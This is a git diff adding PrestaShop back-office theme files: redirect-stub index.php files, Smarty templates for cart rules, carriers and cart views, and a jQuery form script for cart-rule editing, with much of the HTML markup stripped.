+ {/if} +{/block} diff --git a/BO/themes/default/template/controllers/carriers/helpers/form/index.php b/BO/themes/default/template/controllers/carriers/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/carriers/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/carriers/helpers/index.php b/BO/themes/default/template/controllers/carriers/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/carriers/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/carriers/index.php b/BO/themes/default/template/controllers/carriers/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/carriers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cart_rules/actions.tpl b/BO/themes/default/template/controllers/cart_rules/actions.tpl new file mode 100755 index 0000000..bce3cfe --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/actions.tpl @@ -0,0 +1,101 @@ + +
+    + getFieldValue($currentObject, 'free_shipping')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'free_shipping')|intval}checked="checked"{/if} /> + +
+
+ +
+    + getFieldValue($currentObject, 'reduction_percent')|floatval > 0}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'reduction_amount')|floatval > 0}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'reduction_amount')|floatval > 0 && !$currentTab->getFieldValue($currentObject, 'reduction_percent')|floatval > 0}checked="checked"{/if} /> + +
+
+ +
+ % +

{l s='Does not apply to the shipping costs'}

+
+
+
+ +
+ + + +
+
+
+ +
+    + getFieldValue($currentObject, 'reduction_product')|intval == 0}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'reduction_product')|intval > 0}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'reduction_product')|intval == -1}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'reduction_product')|intval == -2}checked="checked"{/if} /> + +
+
+ +
+ + +
+
+
+
+ +
+    + getFieldValue($currentObject, 'gift_product')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'gift_product')|intval}checked="checked"{/if} /> + +
+
+ +
+ +
+
+
+ + +
+
 
+
+ +
+ {$gift_product_attribute_select} +
+
+
 
+
+ +
diff --git a/BO/themes/default/template/controllers/cart_rules/conditions.tpl b/BO/themes/default/template/controllers/cart_rules/conditions.tpl new file mode 100755 index 0000000..158c4d1 --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/conditions.tpl @@ -0,0 +1,256 @@ + +
+ + +

{l s='Optional: The cart rule will be available to everyone if you leave this field blank.'}

+
+ +
+ {l s='From'} + + {l s='To'} + +

{l s='The default period is one month.'}

+
+ +
+ + + + +

{l s='You can choose a minimum amount for the cart either with or without the taxes and shipping.'}

+
+ +
+ +

{l s='The cart rule will be applied to the first "X" customers only.'}

+
+ +
+ +

{l s='A customer will only be able to use the cart rule "X" time(s).'}

+
+{if $countries.unselected|@count + $countries.selected|@count > 1} +
+ {l s='Country selection'} +
+ + + + + +
+

{l s='Unselected countries'}

+

+ + {l s='Add'} >> + +
+

{l s='Selected countries'}

+

+ + << {l s='Remove'} + +
+

{l s='This restriction applies to the country of delivery.'}

+
+{/if} +{if $carriers.unselected|@count + $carriers.selected|@count > 1} +
+ {l s='Carrier selection'} +
+ + + + + +
+

{l s='Unselected carriers'}

+

+ + {l s='Add'} >> + +
+

{l s='Selected carriers'}

+

+ + << {l s='Remove'} + +
+
+{/if} +{if $groups.unselected|@count + $groups.selected|@count > 1} +
+ +{l s='Customer group selection'} +
+ + + + + +
+

{l s='Unselected groups'}

+

+ + {l s='Add'} >> + +
+

{l s='Selected groups'}

+

+ + << {l s='Remove'} + +
+
+{/if} +{if $cart_rules.unselected|@count + $cart_rules.selected|@count > 0} +
+ +{l s='Compatibility with other cart rules'} +
+ + + + + +
+

{l s='Uncombinable cart rules'}

+

+ + {l s='Add'} >> + +
+

{l s='Combinable cart rules'}

+

+ + << {l s='Remove'} + +
+
+{/if} +
+ {l s='Product selection'} +
+ + {foreach from=$product_rule_groups item='product_rule_group'} + {$product_rule_group} + {/foreach} + + + {l s='Add'} {l s='Product selection'} + +
+{if $shops.unselected|@count + $shops.selected|@count > 1} +
+ {l s='Shop selection'} +
+ + + + + +
+

{l s='Unselected shops'}

+

+ + {l s='Add'} >> + +
+

{l s='Selected shops'}

+

+ + << {l s='Remove'} + +
+
+{/if} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cart_rules/form.js b/BO/themes/default/template/controllers/cart_rules/form.js new file mode 100755 index 0000000..82cc6c8 --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/form.js @@ -0,0 +1,403 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function addProductRuleGroup() +{ + $('#product_rule_group_table').show(); + product_rule_groups_counter += 1; + product_rule_counters[product_rule_groups_counter] = 0; + + $.get( + 'ajax-tab.php', + {controller:'AdminCartRules',token:currentToken,newProductRuleGroup:1,product_rule_group_id:product_rule_groups_counter}, + function(content) { + if (content != "") + $('#product_rule_group_table').append(content); + } + ); +} + +function removeProductRuleGroup(id) +{ + $('#product_rule_group_' + id + '_tr').remove(); +} + +function addProductRule(product_rule_group_id) +{ + product_rule_counters[product_rule_group_id] += 1; + if ($('#product_rule_type_' + product_rule_group_id).val() != 0) + $.get( + 'ajax-tab.php', + {controller:'AdminCartRules',token:currentToken,newProductRule:1,product_rule_type:$('#product_rule_type_' + product_rule_group_id).val(),product_rule_group_id:product_rule_group_id,product_rule_id:product_rule_counters[product_rule_group_id]}, + function(content) { + if (content != "") + $('#product_rule_table_' + product_rule_group_id).append(content); + } + ); +} + +function removeProductRule(product_rule_group_id, product_rule_id) +{ + $('#product_rule_' + product_rule_group_id + '_' + product_rule_id + '_tr').remove(); +} + +function toggleCartRuleFilter(id) +{ + if ($(id).prop('checked')) + $('#' + $(id).attr('id') + '_div').show(400); + else + $('#' + $(id).attr('id') + '_div').hide(200); +} + +function removeCartRuleOption(item) +{ + var id = $(item).attr('id').replace('_remove', ''); + $('#' + id + '_2 option:selected').remove().appendTo('#' + id + '_1'); +} + +function addCartRuleOption(item) +{ + var id = $(item).attr('id').replace('_add', ''); + $('#' + id + '_1 option:selected').remove().appendTo('#' + id + '_2'); +} + +function updateProductRuleShortDescription(item) +{ + /******* For IE: put a product in condition on cart rules *******/ + if(typeof String.prototype.trim !== 'function') { + String.prototype.trim = function() { + return this.replace(/^\s+|\s+$/g, ''); + } + } + + var id1 = $(item).attr('id').replace('_add', '').replace('_remove', ''); + var id2 = id1.replace('_select', ''); + var length = $('#' + id1 + '_2 option').length; + if (length == 1) + $('#' + id2 + '_match').val($('#' + id1 + '_2 option').first().text().trim()); + else + $('#' + id2 + '_match').val(length); +} + +var restrictions = new Array('country', 'carrier', 'group', 'cart_rule', 'shop'); +for (i in restrictions) +{ + toggleCartRuleFilter($('#' + restrictions[i] + '_restriction')); + $('#' + restrictions[i] + '_restriction').click(function() {toggleCartRuleFilter(this);}); + $('#' + restrictions[i] + '_select_remove').click(function() {removeCartRuleOption(this);}); + $('#' + restrictions[i] + '_select_add').click(function() {addCartRuleOption(this);}); +} +toggleCartRuleFilter($('#product_restriction')); +$('#product_restriction').click(function() {toggleCartRuleFilter(this);}); + +function toggleApplyDiscount(percent, amount, apply_to) +{ + if (percent) + { + $('#apply_discount_percent_div').show(400); + if ($('#apply_discount_to_product').prop('checked')) + toggleApplyDiscountTo(); + $('#apply_discount_to_cheapest').show(); + $('*[for=apply_discount_to_cheapest]').show(); + $('#apply_discount_to_selection').show(); + $('*[for=apply_discount_to_selection]').show(); + } + else + { + $('#apply_discount_percent_div').hide(200); + $('#reduction_percent').val('0'); + } + + if (amount) + { + $('#apply_discount_amount_div').show(400); + if ($('#apply_discount_to_product').prop('checked')) + toggleApplyDiscountTo(); + $('#apply_discount_to_cheapest').hide(); + $('*[for=apply_discount_to_cheapest]').hide(); + $('#apply_discount_to_cheapest').removeAttr('checked'); + $('#apply_discount_to_selection').hide(); + $('*[for=apply_discount_to_selection]').hide(); + $('#apply_discount_to_selection').removeAttr('checked'); + } + else + { + $('#apply_discount_amount_div').hide(200); + $('#reduction_amount').val('0'); + } + + if (apply_to) + $('#apply_discount_to_div').show(400); + else + { + toggleApplyDiscountTo(); + $('#apply_discount_to_div').hide(200); + } +} + +function toggleApplyDiscountTo() +{ + if ($('#apply_discount_to_product').prop('checked')) + $('#apply_discount_to_product_div').show(400); + else + { + $('#apply_discount_to_product_div').hide(200); + $('#reductionProductFilter').val(''); + if ($('#apply_discount_to_order').prop('checked')) + $('#reduction_product').val('0'); + if ($('#apply_discount_to_cheapest').prop('checked')) + $('#reduction_product').val('-1'); + if ($('#apply_discount_to_selection').prop('checked')) + $('#reduction_product').val('-2'); + } +} + +function toggleGiftProduct() +{ + if ($('#free_gift_on').prop('checked')) + $('#free_gift_div').show(400); + else + { + $('#gift_product').val('0'); + $('#giftProductFilter').val(''); + $('#free_gift_div').hide(200); + } +} + +$('#apply_discount_percent').click(function() {toggleApplyDiscount(true, false, true);}); +if ($('#apply_discount_percent').prop('checked')) + toggleApplyDiscount(true, false, true); + +$('#apply_discount_amount').click(function() {toggleApplyDiscount(false, true, true);}); +if ($('#apply_discount_amount').prop('checked')) + toggleApplyDiscount(false, true, true); + +$('#apply_discount_off').click(function() {toggleApplyDiscount(false, false, false);}); +if ($('#apply_discount_off').prop('checked')) + toggleApplyDiscount(false, false, false); + +$('#apply_discount_to_order').click(function() {toggleApplyDiscountTo();}); +if ($('#apply_discount_to_order').prop('checked')) + toggleApplyDiscountTo(); + +$('#apply_discount_to_product').click(function() {toggleApplyDiscountTo();}); +if ($('#apply_discount_to_product').prop('checked')) + toggleApplyDiscountTo(); + +$('#apply_discount_to_cheapest').click(function() {toggleApplyDiscountTo();}); +if ($('#apply_discount_to_cheapest').prop('checked')) + toggleApplyDiscountTo(); + +$('#apply_discount_to_selection').click(function() {toggleApplyDiscountTo();}); +if ($('#apply_discount_to_selection').prop('checked')) + toggleApplyDiscountTo(); + +$('#free_gift_on').click(function() {toggleGiftProduct();}); +$('#free_gift_off').click(function() {toggleGiftProduct();}); +toggleGiftProduct(); + +// Main form submit +$('#cart_rule_form').submit(function() { + if ($('#customerFilter').val() == '') + $('#id_customer').val('0'); + + for (i in restrictions) + { + if ($('#' + restrictions[i] + '_select_1 option').length == 0) + $('#' + restrictions[i] + '_restriction').removeAttr('checked'); + else + { + $('#' + restrictions[i] + '_select_2 option').each(function(i) { + $(this).attr('selected', true); + }); + } + } + + $('.product_rule_toselect option').each(function(i) { + $(this).attr('selected', true); + }); +}); + +$('#reductionProductFilter') + .autocomplete( + 'ajax-tab.php', { + minChars: 2, + max: 50, + width: 500, + selectFirst: false, + scroll: false, + dataType: 'json', + formatItem: function(data, i, max, value, term) { + return value; + }, + parse: function(data) { + var mytab = new Array(); + for (var i = 0; i < data.length; i++) + mytab[mytab.length] = { data: data[i], value: (data[i].reference + ' ' + data[i].name).trim() }; + return mytab; + }, + extraParams: { + controller: 'AdminCartRules', + token: currentToken, + reductionProductFilter: 1 + } + } + ) + .result(function(event, data, formatted) { + $('#reduction_product').val(data.id_product); + $('#reductionProductFilter').val((data.reference + ' ' + data.name).trim()); + }); + +$('#customerFilter') + .autocomplete( + 'ajax-tab.php', { + minChars: 2, + max: 50, + width: 500, + selectFirst: false, + scroll: false, + dataType: 'json', + formatItem: function(data, i, max, value, term) { + return value; + }, + parse: function(data) { + var mytab = new Array(); + for (var i = 0; i < data.length; i++) + mytab[mytab.length] = { data: data[i], value: data[i].cname + ' (' + data[i].email + ')' }; + return mytab; + }, + extraParams: { + controller: 'AdminCartRules', + token: currentToken, + customerFilter: 1 + } + } + ) + .result(function(event, data, formatted) { + $('#id_customer').val(data.id_customer); + $('#customerFilter').val(data.cname + ' (' + data.email + ')'); + }); + +function displayCartRuleTab(tab) +{ + $('.cart_rule_tab').hide(); + $('.tab-page').removeClass('selected'); + $('#cart_rule_' + tab).show(); + $('#cart_rule_link_' + tab).addClass('selected'); + $('#currentFormTab').val(tab); +} + +$('.cart_rule_tab').hide(); +$('.tab-page').removeClass('selected'); +$('#cart_rule_' + currentFormTab).show(); +$('#cart_rule_link_' + currentFormTab).addClass('selected'); + +var date = new Date(); +var hours = date.getHours(); +if (hours < 10) + hours = "0" + hours; +var mins = date.getMinutes(); +if (mins < 10) + mins = "0" + mins; +var secs = date.getSeconds(); +if (secs < 10) + secs = "0" + secs; +$('.datepicker').datepicker({ + prevText: '', + nextText: '', + dateFormat: 'yy-mm-dd ' + hours + ':' + mins + ':' + secs +}); + +$('#giftProductFilter').typeWatch({ + captureLength: 2, + highlight: false, + wait: 100, + callback: function(){ searchProducts(); } +}); + +var gift_product_search = $('#giftProductFilter').val(); +function searchProducts() +{ + if ($('#giftProductFilter').val() == gift_product_search) + return; + gift_product_search = $('#giftProductFilter').val(); + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: 'ajax-tab.php' + '?rand=' + new Date().getTime(), + async: true, + dataType: 'json', + data: { + controller: 'AdminCartRules', + token: currentToken, + action: 'searchProducts', + product_search: $('#giftProductFilter').val() + }, + success : function(res) + { + var products_found = ''; + var attributes_html = ''; + stock = {}; + + if (res.found) + { + $('#gift_products_err').hide(); + $('#gift_products_found').show(); + $.each(res.products, function() { + products_found += ''; + + attributes_html += ''; + }); + + $('#gift_product_list #gift_product').html(products_found); + $('#gift_attributes_list #gift_attributes_list_select').html(attributes_html); + displayProductAttributes(); + } + else + { + $('#products_found').hide(); + $('#products_err').html(res.notfound); + $('#products_err').show(); + } + } + }); +} + +function displayProductAttributes() +{ + if ($('#ipa_' + $('#gift_product option:selected').val() + ' option').length === 0) + $('#gift_attributes_list').hide(); + else + { + $('#gift_attributes_list').show(); + $('.id_product_attribute').hide(); + $('#ipa_' + $('#gift_product option:selected').val()).show(); + } +} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cart_rules/form.tpl b/BO/themes/default/template/controllers/cart_rules/form.tpl new file mode 100755 index 0000000..033ea8d --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/form.tpl @@ -0,0 +1,59 @@ +{include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
{block name="leadin"}{/block}
+ + +
+ {if $currentObject->id}{/if} + +
+

{l s='Cart-rule information'}

+
+ {include file='controllers/cart_rules/informations.tpl'} +
+
+

{l s='Cart-rule conditions'}

+
+ {include file='controllers/cart_rules/conditions.tpl'} +
+
+

{l s='Cart-rule actions'}

+
+ {include file='controllers/cart_rules/actions.tpl'} +
+
+
+ + +
+
+ + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cart_rules/helpers/index.php b/BO/themes/default/template/controllers/cart_rules/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cart_rules/helpers/list/index.php b/BO/themes/default/template/controllers/cart_rules/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cart_rules/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/cart_rules/helpers/list/list_header.tpl new file mode 100755 index 0000000..396a824 --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/helpers/list/list_header.tpl @@ -0,0 +1,34 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/list/list_header.tpl"} +{block name='override_header'} +{if $submit_form_ajax} + +{/if} +{/block} diff --git a/BO/themes/default/template/controllers/cart_rules/index.php b/BO/themes/default/template/controllers/cart_rules/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cart_rules/informations.tpl b/BO/themes/default/template/controllers/cart_rules/informations.tpl new file mode 100755 index 0000000..ba957e1 --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/informations.tpl @@ -0,0 +1,68 @@ + + + + +
+ +
+
+ {foreach from=$languages item=language} +
+ + * +
+ {/foreach} +
+

{l s='This will be displayed in the cart summary, as well as on the invoice.'}

+
+ +
+ +

{l s='For your eyes only. This will never be displayed to the customer.'}

+
+ +
+ + {l s='(Click to generate random code)'} +

{l s='Caution! The rule will automatically be applied if you leave this field blank.'}

+
+ +
+    + getFieldValue($currentObject, 'highlight')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'highlight')|intval}checked="checked"{/if} /> + +

+ {l s='If the voucher is not yet in the cart, it will be displayed in the cart summary.'} +

+
+ +
+    + getFieldValue($currentObject, 'partial_use')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'partial_use')|intval}checked="checked"{/if} /> + +

+ {l s='Only applicable if the voucher value is greater than the cart total.'}
+ {l s='If you do not allow partial use, the voucher value will be lowered to the total order amount. If you allow partial use, however, a new voucher will be created with the remainder.'} +

+
+ +
+ +

{l s='Cart rules are applied by priority. A cart rule with a priority of "1" will be processed before a cart rule with a priority of "2".'}

+
+ +
+    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +
+
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/cart_rules/product_rule.tpl b/BO/themes/default/template/controllers/cart_rules/product_rule.tpl new file mode 100755 index 0000000..1f7d28a --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/product_rule.tpl @@ -0,0 +1,35 @@ + + + + {l s='Remove'} + + + + + + {* Everything is on a single line in order to avoid a empty space between the [ ] and the word *} + [{if $product_rule_type == 'products'}{l s='Products:'}{elseif $product_rule_type == 'categories'}{l s='Categories:'}{elseif $product_rule_type == 'manufacturers'}{l s='Manufacturers:'}{elseif $product_rule_type == 'suppliers'}{l s='Suppliers'}{elseif $product_rule_type == 'attributes'}{l s='Attributes'}{/if}] + + + {l s='The product(s) are matching on of these'} + + + + + + + {l s='Choose'} {l s='Choose'} + +
+
+ {$product_rule_choose_content} +
+
+ + + + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cart_rules/product_rule_group.tpl b/BO/themes/default/template/controllers/cart_rules/product_rule_group.tpl new file mode 100755 index 0000000..8e9fad2 --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/product_rule_group.tpl @@ -0,0 +1,36 @@ + + + + {l s='Remove'} + + + + + {l s='The cart must contain at least'} + + {l s='Product(s) matching the following rules:'} +
+ + {l s='Add'} + {l s='Add a rule concerning'} + + + + + + + {if isset($product_rules) && $product_rules|@count} + {foreach from=$product_rules item='product_rule'} + {$product_rule} + {/foreach} + {/if} +
+ + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cart_rules/product_rule_itemlist.tpl b/BO/themes/default/template/controllers/cart_rules/product_rule_itemlist.tpl new file mode 100755 index 0000000..a5460ad --- /dev/null +++ b/BO/themes/default/template/controllers/cart_rules/product_rule_itemlist.tpl @@ -0,0 +1,48 @@ + + + + + +
+

{l s='Unselected'}

+

+ + {l s='Add'} >> + +
+

{l s='Selected'}

+

+ + << {l s='Remove'} + +
+ + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/carts/helpers/index.php b/BO/themes/default/template/controllers/carts/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/carts/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/carts/helpers/view/index.php b/BO/themes/default/template/controllers/carts/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/carts/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/carts/helpers/view/view.tpl b/BO/themes/default/template/controllers/carts/helpers/view/view.tpl new file mode 100755 index 0000000..514dcaa --- /dev/null +++ b/BO/themes/default/template/controllers/carts/helpers/view/view.tpl @@ -0,0 +1,190 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + +
+

{if $customer->id}{$customer->firstname} {$customer->lastname}{else}{l s='Guest'}{/if} - {l s='Cart #'}{$cart->id|string_format:"%06d"}{l s='On'} {$cart->date_upd}

+
+ +
+

{l s='Customer information'}

+ + {if $customer->id} + {$customer->firstname} {$customer->lastname} + {l s='#'}{$customer->id}
+ {$customer->email}

+ {l s='Account registration date:'} {dateFormat date=$customer->date_add}
+ {l s='Valid orders placed:'} {$customer_stats.nb_orders}
+ {l s='Total spent since registration:'} {displayWtPriceWithCurrency price=$customer_stats.total_orders currency=$currency}
+ {else} + {l s='Guest not registered'} + {/if} + +
+
+

{l s='Order information'}

+ + {if $order->id} + {l s='Order #%d' sprintf=$order->id|string_format:"%06d"} +

+ {l s='Made on:'} {dateFormat date=$order->date_add}



+ {else} + {l s='No order was created from this cart.'} + {if $customer->id}

{l s='Create an order from this cart.'}

{/if} + {/if} +
+
+
+ + +

{l s='Products:'}{l s='Cart summary'}

+
+ + + + + + + + + + + + {foreach from=$products item='product'} + {if isset($customized_datas[$product.id_product][$product.id_product_attribute][$product.id_address_delivery])} + + + + + + + + + {foreach from=$customized_datas[$product.id_product][$product.id_product_attribute][$product.id_address_delivery] item='customization'} + + + + + + + + {/foreach} + {/if} + + {if $product.cart_quantity > $product.customization_quantity} + + + + + + + + + {/if} + {/foreach} + + + + + + {if $total_discounts != 0} + + + + + {/if} + {if $total_wrapping > 0} + + + + + {/if} + {if $cart->getOrderTotal(true, Cart::ONLY_SHIPPING) > 0} + + + + + {/if} + + + + +
 {l s='Product'}{l s='Unit price'}{l s='Quantity'}{l s='Stock'}{l s='Total'}
{$product.image} + {$product.name}{if isset($product.attributes)}
{$product.attributes}{/if}
+ {if $product.reference}{l s='Ref:'} {$product.reference}{/if} + {if $product.reference && $product.supplier_reference} / {$product.supplier_reference}{/if} +
+
{displayWtPriceWithCurrency price=$product.price_wt currency=$currency}{$product.customization_quantity}{$product.qty_in_stock}{displayWtPriceWithCurrency price=$product.total_customization_wt currency=$currency}
+ {foreach from=$customization.datas key='type' item='datas'} + {if $type == constant('Product::CUSTOMIZE_FILE')} +
    + {foreach from=$datas key='index' item='data'} +
  • + + +
  • + {/foreach} +
+ {elseif $type == constant('Product::CUSTOMIZE_TEXTFIELD')} +
    + {foreach from=$datas key='index' item='data'} +
  • {if $data.name}{$data.name}{else}{l s='Text #'}{$index}{/if}{l s=':'}{$data.value}
  • + {/foreach} +
+ {/if} + {/foreach} +
{$customization.quantity}
{$product.image} + + {$product.name}{if isset($product.attributes)}
{$product.attributes}{/if}
+ {if $product.reference}{l s='Ref:'} {$product.reference}{/if} + {if $product.reference && $product.supplier_reference} / {$product.supplier_reference}{/if} +
+
{displayWtPriceWithCurrency price=$product.product_price currency=$currency}{math equation='x - y' x=$product.cart_quantity y=$product.customization_quantity|intval}{$product.qty_in_stock}{displayWtPriceWithCurrency price=$product.product_total currency=$currency}
{l s='Total cost of products:'}{displayWtPriceWithCurrency price=$total_products currency=$currency}
{l s='Total value of vouchers:'}{displayWtPriceWithCurrency price=$total_discounts currency=$currency}
{l s='Total cost of gift wrapping:'}{displayWtPriceWithCurrency price=$total_wrapping currency=$currency}
{l s='Total cost of shipping:'}{displayWtPriceWithCurrency price=$total_shipping currency=$currency}
